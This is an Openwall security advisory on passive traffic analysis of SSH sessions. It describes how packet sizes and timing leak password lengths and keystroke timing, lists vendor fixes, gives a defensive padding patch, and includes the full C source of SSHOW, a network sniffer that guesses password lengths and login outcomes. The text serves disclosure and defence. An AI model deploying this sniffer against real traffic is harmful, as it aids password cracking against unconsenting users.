Passive Analysis of SSH (Secure Shell) Traffic
by Solar Designer and
Dug Song
March 19, 2001
Last revised: July 7, 2024
This article demonstrates several weaknesses in implementations of
SSH (Secure Shell) protocols. When exploited, they let the attacker
obtain sensitive information by passively monitoring encrypted SSH
sessions. The information can later be used to speed up password
cracking, including of the initial login password and other
passwords appearing in interactive SSH sessions, such as those used
with su(1) and Cisco IOS "enable" passwords.
All attacks described in this article require the ability to monitor
(sniff) network traffic between one or more SSH servers and clients.
Fix information, patches to reduce the impact of traffic analysis, and
a tool to demonstrate the attacks are provided.
Impact
Version 1 of the SSH protocol, unless its implementation takes special
precautions to avoid this, exposes the exact lengths of login
passwords used with password authentication. The SSH-2 protocol
doesn't reveal as much information, but a range of possible password
lengths can still be determined.
Additional weaknesses make it possible to detect when a password is
entered during an interactive SSH session, and to discover even more
information about such passwords, including their exact lengths (with
both protocol versions) and timing information. The latter exposes
the likelihood of possible characters in each position of a password.
All this information may be entered into a password
cracker for significant speedup due to reduced keyspace and other
optimizations, including attacking user passwords in the order of
increasing estimated complexity.
Additionally, our SSH traffic analysis tool is able to detect the use
of RSA or DSA authentication, and in the case of RSA and SSH 1.2.x
derived SSH server implementations, the number of authorized_keys
file options. The latter is possible due to debugging packets sent
by those implementations. If a SSH session with RSA authentication
but no authorized_keys options is seen, an attacker may infer that
the client machine has the private key sufficient to obtain full
shell access to the server. If the session is automated, the private
key has to be stored unencrypted.
Finally, it is possible to determine the lengths of shell commands,
and in some cases, the commands themselves (from a small list of
common ones) in an interactive session (which isn't a security issue
under most circumstances).
It should be noted that, despite their simplicity, traffic analysis
attacks such as those presented in this article haven't been well
researched. We expect that similar attacks are possible against most
other "secure" (encrypted) remote login protocols. We also expect
additional traffic analysis attacks on SSH to be discovered. In
particular, there may be recognizable patterns in X11 connections
forwarded over SSH, but these are out of the scope of this article.
Password authentication vulnerability
When encapsulating plaintext data in a SSH protocol packet, the data
is padded to the next 8-byte boundary (or whatever the cipher's block
size is, with SSH-2), encrypted, and sent along with the plaintext
length field. SSH-1 sends this field in the clear.
As a result, an attacker passively monitoring a SSH session is able
to detect the amount of plaintext sent in each packet - exact for
SSH-1, or a range of possible lengths for SSH-2.
Since the login password is sent in one SSH-1 protocol packet without
any special precautions, an attacker can determine the exact password
length.
With SSH-2, other information (including the username) is transmitted
in the same packet and the plaintext length is encrypted, so only a
range of possible password lengths can be determined.
Fortunately, due to the use of C strings in most SSH-1 server
implementations, it is usually possible for a SSH client to add
sufficient NUL padding for just the passwords without a change to the
protocol. We recommend that future SSH-1 server implementations allow
for this padding, even in cases where the underlying OS interfaces do
not necessarily imply this.
An alternative workaround, proposed by Simon Tatham, is to send a
sequence of SSH-1 messages containing strings of increasing length.
Exactly one of these messages is SSH_MSG_PASSWORD and contains the
password string. All the rest are SSH_MSG_IGNORE. It is important
that the number of messages sent remains constant and is sufficient
to cover the longest password we expect to see. To safely transmit
passwords of up to 32 characters, 1088 bytes of SSH-1 messages are
needed, which may still fit within one TCP segment. This approach has
the advantage that no assumption about SSH-1 server implementations is
made (other than that they implement the protocol correctly; some
implementations are known to have problems handling SSH_MSG_IGNORE).
The SSH-2 protocol allows for a solution (independently proposed by
several SSH-2 implementation authors) with less overhead, and without
reliance on artifacts of protocol implementation. A pair of SSH-2
messages, SSH_MSG_USERAUTH_REQUEST and SSH_MSG_IGNORE, may be
constructed such that their combined length remains constant. The
messages can then be sent to the transport layer at once.
Interactive session weaknesses
With interactive shell sessions, input characters are normally echoed
by the remote end, which usually results in an echo packet from the
server for each input character. However, if an application turns
input echoing off, such as for entering a password, the packets start
to go in one direction only - to the server. Our simple traffic
analysis tool is able to detect this easily and reliably.
Once an attacker knows that the victim is entering a password, all
they need to do is count the packets that didn't generate a reply
packet from the server. In the case of SSH-1, the sum of plaintext
sizes gives the exact password length, save any backspace characters.
With SSH-2, the attacker has to assume that each packet contains only
one password character, which is typically the case.
The delays between packets give the attacker additional information
on the likelihood of possible characters in each position of the
password. For example, if the delay before a character is larger than
most other delays, it is likely that the character requires more than
one keystroke to type.
When typing commands in a command-line shell over SSH, each character
generates a tiny echo packet from the server. However, once the
entire command is entered, a larger packet - containing the shell
prompt and possibly the command's output - is sent by the server.
By counting the tiny packets (or the plaintext lengths in packets
sent to the server, in the case of SSH-1), the attacker can infer
the length of each shell command. To make detection more reliable
with SSH-1, it is usually possible to detect backspaces by assuming
that they produce a 3-character response (^H, space, ^H).
Once again, the delays may be used - this time for inferring the
actual shell commands typed, from a small list of common ones.
The partial solution we propose is to modify SSH servers such that
they simulate echo packets when terminal echo is disabled by an
application. The SSH_MSG_IGNORE message type may be used to ensure
the client doesn't actually process the contents of these fake packets.
Thus, no change to the protocol is required.
It is important to note that this partial solution may only defeat
the most generic way to infer that a password is entered. In many
cases it is possible to do the same by other means, including
monitoring other related network traffic and events local to a SSH
server system.
Solving traffic analysis vulnerabilities not related to password
information would increase the protocol overhead significantly, and
thus doesn't seem practical for many current uses of SSH.
Compression
The use of compression makes many of the traffic analysis attacks
described above significantly less reliable. This is because the
same amount of plaintext no longer results in the same amount of data
being transmitted. The packet sizes are somewhat "randomized".
However, it is likely that compression also enables yet another class
of traffic analysis attacks, as the changes to packet size due to
compression aren't actually random - they depend on the plaintext
packet contents.
We're already aware of one practical attack that is possible due to
compression. With SSH-2, the SSH_MSG_USERAUTH_REQUEST message is
transmitted after compression is negotiated. If enabled, the size of
the resulting TCP segment will depend on the entropy of the plaintext
password. If a SSH_MSG_IGNORE message is used to pad the password as
we have proposed, compression may defeat some of the benefit this
could have provided. This instance of the problem may be solved by
transmitting the SSH_MSG_USERAUTH_REQUEST and SSH_MSG_IGNORE messages
uncompressed. However, this is non-trivial to implement if a generic
compression library is used.
Related work
Several of the attacks outlined in this article were also
independently discovered by the authors of the following paper, which
describes some of them in greater detail:
Dawn Xiaodong Song, David Wagner, Xuqing Tian:
"Timing Analysis of Keystrokes and Timing Attacks on SSH."
In particular, they reveal that inter-keystroke timings leak about 1
bit of information per character pair, and describe an attacking
system, Herbivore, which tries to learn users' passwords by
monitoring SSH sessions. Herbivore is demonstrated to reduce the
search space for uniformly randomly chosen passwords of 8 characters
by a factor of 50.
Fixes
Several SSH implementations have been changed to include fixes which
reduce the impact of some of the traffic analysis attacks described
in this article. It is important to understand that these fixes are
by no means a complete solution to traffic analysis - only simple
remediation for the most pressing vulnerabilities described above.
OpenSSH:
Fixes have been initially applied to OpenSSH starting with version
2.5.0. OpenSSH 2.5.2 contains the more complete versions of the
fixes and solves certain interoperability issues associated with the
earlier versions.
Update (2024):
The above fixes included padding the login password with NULs and simulation of terminal echo with IGNORE messages.
OpenSSH 9.5+ additionally attempted to mitigate keystroke timing attacks,
however in versions 9.5 to 9.7 a logic error in this new feature not only rendered it ineffective, but also
"could allow a passive observer of
a SSH session to once again detect when echo was off and obtain
fairly limited timing information about keystrokes in this situation
(20ms granularity by default)."
This regression is fixed in OpenSSH 9.8+ and got assigned CVE-2024-39894.
PuTTY:
PuTTY 0.52 will include defenses against inferring length or entropy
of initial login passwords, for both SSH-1 and SSH-2.
TTSSH:
TTSSH 1.5.4 provides some protection against traffic analysis by
padding the transmitted initial login password with NUL's.
Cisco:
Cisco has included countermeasures against the traffic analysis
attacks on SSH into recent versions of its IOS and CatOS software
supporting SSH. Their security advisory has been posted at:
http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20010627-ssh
SSH 1.2.x:
SSH 1.2.x users can use this unofficial patch (the patch is against
version 1.2.27, but applies to 1.2.31 as well). Please note that a
SSH server with this patch applied will not interoperate with client
versions 1.2.18 through 1.2.22 (inclusive).
--- ssh-1.2.27.orig/sshconnect.c Wed May 12 15:19:29 1999
+++ ssh-1.2.27/sshconnect.c Tue Feb 20 08:38:57 2001
@@ -1258,6 +1258,18 @@
fatal("write: %.100s", strerror(errno));
}
+void ssh_put_password(char *password)
+{
+ int size;
+ char *padded;
+
+ size = (strlen(password) + (1 + (32 - 1))) & ~(32 - 1);
+ strncpy(padded = xmalloc(size), password, size);
+ packet_put_string(padded, size);
+ memset(padded, 0, size);
+ xfree(padded);
+}
+
/* Starts a dialog with the server, and authenticates the current user on the
server. This does not need any extra privileges. The basic connection
to the server must already have been established before this is called.
@@ -1753,7 +1765,7 @@
/* Asks for password */
password = read_passphrase(pw->pw_uid, prompt, 0);
packet_start(SSH_CMSG_AUTH_TIS_RESPONSE);
- packet_put_string(password, strlen(password));
+ ssh_put_password(password);
memset(password, 0, strlen(password));
xfree(password);
packet_send();
@@ -1791,7 +1803,7 @@
{
password = read_passphrase(pw->pw_uid, prompt, 0);
packet_start(SSH_CMSG_AUTH_PASSWORD);
- packet_put_string(password, strlen(password));
+ ssh_put_password(password);
memset(password, 0, strlen(password));
xfree(password);
packet_send();
--- ssh-1.2.27.orig/serverloop.c Wed May 12 15:19:28 1999
+++ ssh-1.2.27/serverloop.c Tue Feb 20 08:38:56 2001
@@ -522,6 +522,9 @@
void process_output(fd_set *writeset)
{
int len;
+#ifdef USING_TERMIOS
+ struct termios tio;
+#endif
/* Write buffered data to program stdin. */
if (fdin != -1 && FD_ISSET(fdin, writeset))
@@ -543,7 +546,18 @@
}
else
{
- /* Successful write. Consume the data from the buffer. */
+ /* Successful write. */
+#ifdef USING_TERMIOS
+ if (tcgetattr(fdin, &tio) == 0 &&
+ !(tio.c_lflag & ECHO) && (tio.c_lflag & ICANON)) {
+ /* Simulate echo to reduce the impact of traffic analysis. */
+ packet_start(SSH_MSG_IGNORE);
+ memset(buffer_ptr(&stdin_buffer), 0, len);
+ packet_put_string(buffer_ptr(&stdin_buffer), len);
+ packet_send();
+ }
+#endif
+ /* Consume the data from the buffer. */
buffer_consume(&stdin_buffer, len);
/* Update the count of bytes written to the program. */
stdin_bytes += len;
SSHOW, the SSH traffic analysis tool
We have developed a SSH traffic analysis tool, which can be used to
demonstrate many of the weaknesses described in this article.
The source for initial version of the tool is included below.
The raw IP networking libraries required by SSHOW may be obtained at:
<++> sshow.c
/*
* SSHOW.
*
* Copyright (c) 2000-2001 Solar Designer <solar at openwall.com>
* Copyright (c) 2000 Dug Song <dugsong at monkey.org>
*
* You're allowed to do whatever you like with this software (including
* re-distribution in source and/or binary form, with or without
* modification), provided that credit is given where it is due and any
* modified versions are marked as such. There's absolutely no warranty.
*
* Note that you don't have to re-distribute modified versions of this
* software under these same relaxed terms. In particular, you're free to
* place them under (L)GPL, thus disallowing re-distribution of further
* modifications in binary-only form.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
#include <time.h>
#include <sys/types.h>
#include <sys/times.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
extern char *optarg;
extern int optind;
#include <nids.h>
#if !defined(NIDS_MAJOR) || (NIDS_MAJOR == 1 && NIDS_MINOR < 15)
#error This code requires libnids 1.15+
#endif
#define HISTORY_SIZE 16
typedef struct {
unsigned int min, max;
} range;
typedef struct {
int direction; /* 0 for client to server */
clock_t timestamp; /* timestamp of this packet */
unsigned int cipher_size; /* ciphertext size */
range plain_range; /* possible plaintext sizes */
} record;
struct history {
record packets[HISTORY_SIZE]; /* recent packets (circular list) */
int index; /* next (free) index into packets[] */
unsigned int directions; /* recent directions (bitmask) */
clock_t timestamps[2]; /* last timestamps in each direction */
};
struct line {
int input_count; /* input packets (client to server) */
int input_size; /* input size (estimated) */
int input_last; /* last input packet size */
int echo_count; /* echo packets (server to client) */
};
struct session {
int protocol; /* -1 not SSH, 0 unknown, 1 or 2 once known */
int state; /* 1 after username, 2 after authentication */
int compressed; /* whether compression is known to be used */
struct history history; /* session history */
struct line line; /* current command line */
};
static int debug = 0;
static clock_t now;
static clock_t add_history(struct session *session, int direction,
unsigned int cipher_size, range *plain_range)
{
record *current;
clock_t delay;
current = &session->history.packets[session->history.index++];
session->history.index %= HISTORY_SIZE;
current->direction = direction;
current->timestamp = now;
current->cipher_size = cipher_size;
current->plain_range = *plain_range;
session->history.directions <<= 1;
session->history.directions |= direction;
delay = now - session->history.timestamps[direction];
session->history.timestamps[direction] = now;
return delay;
}
static record *get_history(struct session *session, int age)
{
int index;
index = session->history.index + (HISTORY_SIZE - 1) - age;
index %= HISTORY_SIZE;
return &session->history.packets[index];
}
static char *s_saddr(struct tcp_stream *ts)
{
static char output[32];
snprintf(output, sizeof(output), "%s:%u",
inet_ntoa(*((struct in_addr *)&ts->addr.saddr)),
ts->addr.source);
return output;
}
static char *s_daddr(struct tcp_stream *ts)
{
static char output[32];
snprintf(output, sizeof(output), "%s:%u",
inet_ntoa(*((struct in_addr *)&ts->addr.daddr)),
ts->addr.dest);
return output;
}
static char *s_range(range *range)
{
static char output[32];
snprintf(output, sizeof(output),
range->min == range->max ? "%u" : "%u to %u",
range->min, range->max);
return output;
}
static void print_data(struct half_stream *stream, unsigned int count)
{
unsigned int i;
int printable;
printable = 1;
for (i = 0; i < count; i++) {
printf("%02x%c", (int)(unsigned char)stream->data[i],
i < count - 1 && i % 24 != 23
? ' ' : '\n');
printable &=
isprint(stream->data[i]) ||
stream->data[i] == '\r' || stream->data[i] == '\n';
}
if (printable && count >= 4 && !memcmp(stream->data, "SSH-", 4))
fwrite(stream->data, count, 1, stdout);
}
static unsigned int ssh1_plain_size(struct half_stream *stream)
{
if (stream->count_new < 4) return 0;
return (unsigned int)(unsigned char)stream->data[3] |
((unsigned int)(unsigned char)stream->data[2] << 8) |
((unsigned int)(unsigned char)stream->data[1] << 16) |
((unsigned int)(unsigned char)stream->data[0] << 24);
}
static unsigned int ssh1_cipher_size(struct half_stream *stream)
{
return 4 + ((ssh1_plain_size(stream) + 8) & ~7);
}
static range *ssh1_plain_range(struct half_stream *stream)
{
static range output;
output.min = output.max = ssh1_plain_size(stream) - 5;
return &output;
}
static range *ssh2_plain_range(struct half_stream *stream)
{
static range output;
output.max = stream->count_new - 16;
/* Assume min padding + 8-byte cipher blocksize */
output.min = output.max - 7;
if ((int)output.min < 0) output.min = 0;
return &output;
}
static void client_to_server(struct tcp_stream *ts, struct session *session,
unsigned int cipher_size, range *plain_range)
{
clock_t delay;
int payload, magic;
delay = add_history(session, 0, cipher_size, plain_range);
if (debug)
printf("- %s -> %s: DATA (%s bytes, %.2f seconds)\n",
s_saddr(ts), s_daddr(ts), s_range(plain_range),
(float)delay / CLK_TCK);
if (debug > 1)
print_data(&ts->server, cipher_size);
payload = plain_range->min;
if (session->state == 2 && payload > 0) {
session->line.input_count++;
session->line.input_last = payload;
if (session->protocol == 1)
payload -= 4;
else {
payload -= 16 + 1;
/* Handle different versions and cipher block sizes */
for (magic = 40; magic <= 52; magic += 4)
/* Assume several SSH-2 packets in this IP packet */
if ((payload - (magic - 40)) % magic == 0) {
payload -= magic - 40;
/* One character per SSH-2 packet (typical) */
payload /= magic;
session->line.input_count += payload;
break;
}
payload++;
}
if (payload <= 0) {
if (payload < 0 && !session->compressed &&
session->protocol == 1) {
session->compressed = 1;
printf("+ %s -> %s: Compression detected, "
"guesses will be much less reliable\n",
s_saddr(ts), s_daddr(ts));
}
payload = 1;
}
session->line.input_size += payload;
}
}
static void server_to_client(struct tcp_stream *ts, struct session *session,
unsigned int cipher_size, range *plain_range)
{
clock_t delay;
int skip;
range string_range;
delay = add_history(session, 1, cipher_size, plain_range);
if (debug)
printf("- %s <- %s: DATA (%s bytes, %.2f seconds)\n",
s_saddr(ts), s_daddr(ts), s_range(plain_range),
(float)delay / CLK_TCK);
if (debug > 1)
print_data(&ts->client, cipher_size);
/*
* Some of the checks may want to skip over multiple server responses.
* For example, there's a debugging packet sent for every option found
* in authorized_keys, but we can't use those packets in our pattern.
*/
skip = 0;
while (((session->history.directions >> skip) & 3) == 3)
if (++skip > HISTORY_SIZE - 5) break;
if (session->state == 0 &&
session->protocol == 1 &&
((session->history.directions >> skip) & 7) == 5 &&
plain_range->min == 0 &&
get_history(session, skip + 1)->plain_range.min > 4 &&
get_history(session, skip + 2)->plain_range.min == 0) {
session->state = 1;
string_range = get_history(session, skip + 1)->plain_range;
string_range.min -= 4; string_range.max -= 4;
printf("+ %s -> %s: GUESS: Username length is %s\n",
s_saddr(ts), s_daddr(ts), s_range(&string_range));
return;
}
if (session->state == 0 &&
session->protocol == 2 &&
(session->history.directions & 7) == 5) {
if (plain_range->min == 9 || plain_range->min == 4 + 9) {
string_range = get_history(session, 1)->plain_range;
if (string_range.min > 490 && string_range.min < 600) {
session->state = 2;
printf("+ %s -> %s: GUESS: DSA "
"authentication accepted\n",
s_saddr(ts), s_daddr(ts));
return;
} else
if (string_range.min > 42 + 9) {
session->state = 2;
printf("+ %s -> %s: GUESS: Password "
"authentication accepted\n",
s_saddr(ts), s_daddr(ts));
return;
}
} else
if (plain_range->min > 12 + 9 && plain_range->min < 56 + 9) {
string_range = get_history(session, 1)->plain_range;
if (string_range.min > 490 && string_range.min < 600) {
printf("+ %s -> %s: GUESS: DSA "
"authentication failed\n",
s_saddr(ts), s_daddr(ts));
return;
} else if (string_range.min > 42 + 9) {
printf("+ %s -> %s: GUESS: Password "
"authentication failed\n",
s_saddr(ts), s_daddr(ts));
return;
}
}
}
if (session->state == 1 &&
session->protocol == 1 &&
(session->history.directions & 3) == 1 &&
plain_range->min == 0 &&
get_history(session, 1)->plain_range.min == 130) {
printf("+ %s -> %s: GUESS: RSA authentication refused\n",
s_saddr(ts), s_daddr(ts));
return;
}
if (session->state == 1 &&
session->protocol == 1 &&
skip >= 1 &&
((session->history.directions >> (skip - 1)) & 037) == 013 &&
plain_range->min == 0 &&
get_history(session, skip - 1 + 2)->plain_range.min == 16 &&
get_history(session, skip - 1 + 3)->plain_range.min == 130 &&
get_history(session, skip - 1 + 4)->plain_range.min == 130) {
char *what;
switch (get_history(session, 1)->plain_range.min - 4) {
case 28:
/* "RSA authentication accepted." */
session->state = 2;
if (skip > 1 && (what = alloca(64))) {
snprintf(what, 64,
"accepted (%d+ authorized_keys option%s)",
skip - 1, skip - 1 == 1 ? "" : "s");
break;
}
what = "accepted";
break;
case 47:
/* "Wrong response to RSA authentication challenge." */
what = "failed";
break;
default:
what = "???";
}
printf("+ %s -> %s: GUESS: RSA authentication %s\n",
s_saddr(ts), s_daddr(ts), what);
return;
}
if (session->state == 1 &&
#ifdef USE_TIMING
now - get_history(session, 2)->timestamp >= CLK_TCK &&
#endif
session->protocol == 1 &&
(session->history.directions & 7) == 5 &&
plain_range->min == 0 &&
get_history(session, 1)->plain_range.min > 4 &&
get_history(session, 2)->plain_range.min == 0) {
session->state = 2;
string_range = get_history(session, 1)->plain_range;
string_range.min -= 4; string_range.max -= 4;
printf("+ %s -> %s: GUESS: Password authentication, "
"password length %s %s%s\n",
s_saddr(ts), s_daddr(ts),
string_range.min == 32 ? "appears to be" : "is",
s_range(&string_range),
string_range.min == 32 ? " (padded?)" : "");
return;
}
if (session->state == 2) {
session->line.echo_count++;
/* Check for backspace */
if (session->protocol == 1 && !session->compressed &&
plain_range->min == 4 + 3 &&
session->line.input_size >= 2)
session->line.input_size -= 2;
if (plain_range->min > 4 + session->line.input_last &&
session->line.input_count >= 2 &&
session->line.input_size >= 2) {
int size;
char *what;
size = session->line.input_size;
if (session->line.echo_count + 1 >=
session->line.input_count &&
size <= (session->line.input_count << 2) &&
size < 0x100)
what = "(command) line";
else
if (session->line.echo_count <= 2 &&
size <= (session->line.input_count << 1) &&
size >= 2 + 1 && size <= 40 + 1)
what = "password";
else
what = NULL;
if (debug)
printf("- %s -> %s: sent %d packets "
"(%d characters), seen %d replies\n",
s_saddr(ts), s_daddr(ts),
session->line.input_count, size,
session->line.echo_count);
if (what)
printf("+ %s -> %s: GUESS: "
"a %s of %d character%s\n",
s_saddr(ts), s_daddr(ts),
what, size - 1, size == 2 ? "" : "s");
}
if (plain_range->min <= 0 ||
plain_range->min > 4 + session->line.input_last ||
session->line.input_last >= 0x100) {
session->line.input_count = 0;
session->line.input_size = 0;
session->line.echo_count = 0;
}
}
}
static void process_data(struct tcp_stream *ts, struct session *session)
{
unsigned int have, need;
char *lf;
if (session->protocol < 0) return;
if (ts->client.count_new &&
(have = ts->client.count - ts->client.offset)) {
switch (session->protocol) {
case 1:
if (have < (need = ssh1_cipher_size(&ts->client))) {
if (debug)
printf("- %s <- %s: got %u of "
"%u bytes\n", s_saddr(ts),
s_daddr(ts), have, need);
nids_discard(ts, 0);
return;
}
if (have != need && debug)
printf("- %s <- %s: left %u bytes\n",
s_saddr(ts), s_daddr(ts),
have - need);
nids_discard(ts, need);
server_to_client(ts, session, need,
ssh1_plain_range(&ts->client));
return;
case 2:
server_to_client(ts, session, have,
ssh2_plain_range(&ts->client));
return;
default:
break;
}
}
if (ts->server.count_new &&
(have = ts->server.count - ts->server.offset)) {
if (!session->protocol) {
lf = (char *)memchr(ts->server.data, '\n', have);
if (have < 7 || (!lf && have < 0x100)) {
nids_discard(ts, 0);
return;
}
if (lf && !memcmp(ts->server.data, "SSH-", 4))
session->protocol = ts->server.data[4] - '0';
/* some clients announce SSH-1.99 instead of SSH-2.0 */
if (session->protocol == 1 &&
ts->server.data[5] == '.' &&
ts->server.data[6] == '9')
session->protocol = 2;
if (session->protocol != 1 && session->protocol != 2) {
session->protocol = -1;
if (debug)
printf("- %s -> %s: not SSH\n",
s_saddr(ts), s_daddr(ts));
return;
}
need = lf - ts->server.data + 1;
nids_discard(ts, need);
printf("+ %s -> %s: SSH protocol %d\n",
s_saddr(ts), s_daddr(ts), session->protocol);
if (debug)
print_data(&ts->server, have);
return;
}
switch (session->protocol) {
case 1:
if (have < (need = ssh1_cipher_size(&ts->server))) {
if (debug)
printf("- %s -> %s: got %u of "
"%u bytes\n", s_saddr(ts),
s_daddr(ts), have, need);
nids_discard(ts, 0);
return;
}
if (have != need && debug)
printf("- %s -> %s: left %u bytes\n",
s_saddr(ts), s_daddr(ts),
have - need);
nids_discard(ts, need);
client_to_server(ts, session, need,
ssh1_plain_range(&ts->server));
return;
case 2:
client_to_server(ts, session, have,
ssh2_plain_range(&ts->server));
}
}
}
static void process_event(struct tcp_stream *ts, struct session **session)
{
struct tms buf;
char *what;
now = times(&buf);
what = NULL;
switch (ts->nids_state) {
case NIDS_JUST_EST:
ts->client.collect = 1;
ts->server.collect = 1;
if (debug)
printf("- %s -> %s: ESTABLISHED\n",
s_saddr(ts), s_daddr(ts));
if (!(*session = calloc(1, sizeof(**session)))) {
errno = ENOMEM;
perror("calloc");
exit(1);
}
(*session)->history.timestamps[0] = now;
(*session)->history.timestamps[1] = now;
return;
case NIDS_CLOSE:
what = "CLOSED";
case NIDS_RESET:
if (!what) what = "RESET";
case NIDS_TIMED_OUT:
if (!what) what = "TIMED OUT";
if ((*session)->protocol > 0)
printf("+ %s -- %s: %s\n",
s_saddr(ts), s_daddr(ts), what);
else if (debug)
printf("- %s -- %s: %s\n",
s_saddr(ts), s_daddr(ts), what);
free(*session);
return;
case NIDS_DATA:
process_data(ts, *session);
return;
}
}
static void dummy_syslog(int type, int errnum, struct ip *iph, void *data)
{
}
static void cleanup(int signum)
{
exit(0); /* Just so that atexit(3) jobs are called */
}
static void usage(void)
{
fprintf(stderr, "Usage: sshow [-d] [-i interface]\n");
exit(1);
}
int main(int argc, char *argv[])
{
int c;
while ((c = getopt(argc, argv, "di:h?")) != -1) {
switch (c) {
case 'd':
debug++;
break;
case 'i':
nids_params.device = optarg;
break;
default:
usage();
break;
}
}
argc -= optind;
argv += optind;
if (argc != 0) usage();
signal(SIGTERM, cleanup);
signal(SIGINT, cleanup);
signal(SIGHUP, cleanup);
setlinebuf(stdout);
nids_params.syslog = dummy_syslog;
nids_params.scan_num_hosts = 0;
nids_params.pcap_filter = "tcp";
nids_params.one_loop_less = 1;
if (!nids_init()) {
fprintf(stderr, "nids_init: %s\n", nids_errbuf);
return 1;
}
nids_register_tcp(process_event);
nids_run();
return 0;
}
<-->
<++> Makefile
CC = gcc
LD = gcc
RM = rm -f
CFLAGS = -c -Wall -O2 -fomit-frame-pointer -I/usr/local/include
LDFLAGS = -s
LIBS = -L/usr/local/lib -lnids -lnet -lpcap
PROJ = sshow
OBJS = sshow.o
all: $(PROJ)
sshow: $(OBJS)
$(LD) $(LDFLAGS) $(OBJS) $(LIBS) -o sshow
.c.o:
$(CC) $(CFLAGS) $*.c
clean:
$(RM) $(PROJ) $(OBJS)
<-->
References
Credits and contact information
This article, the SSHOW traffic analysis tool, and the unofficial
SSH 1.2.x patch were written by Solar Designer <solar at openwall.com>
and Dug Song <dugsong at monkey.org>. We would like to thank the SSH
implementation authors, especially Markus Friedl and Theo de Raadt
(of OpenSSH), Simon Tatham (PuTTY), and Niels Möller (LSH) for
improving on our initial SSH traffic analysis countermeasures. We
would also like to thank David Wagner and Dawn Xiaodong Song at the
University of California, Berkeley and Ariel Futoransky of CORE-SDI
for insightful discussions.
Updated versions of this article will be made available at
https://www.openwall.com/articles/SSH-Traffic-Analysis.
Revision history
Release: March 19, 2001 (Openwall security advisory OW-003-ssh-traffic-analysis)
Updated: August 6, 2001 (revision 2 of the above)
Updated: June 6, 2010 (converted into article, better HTML formatting)
Updated: July 7, 2024 (mentioned OpenSSH 9.5 regression and 9.8 fix)
121472
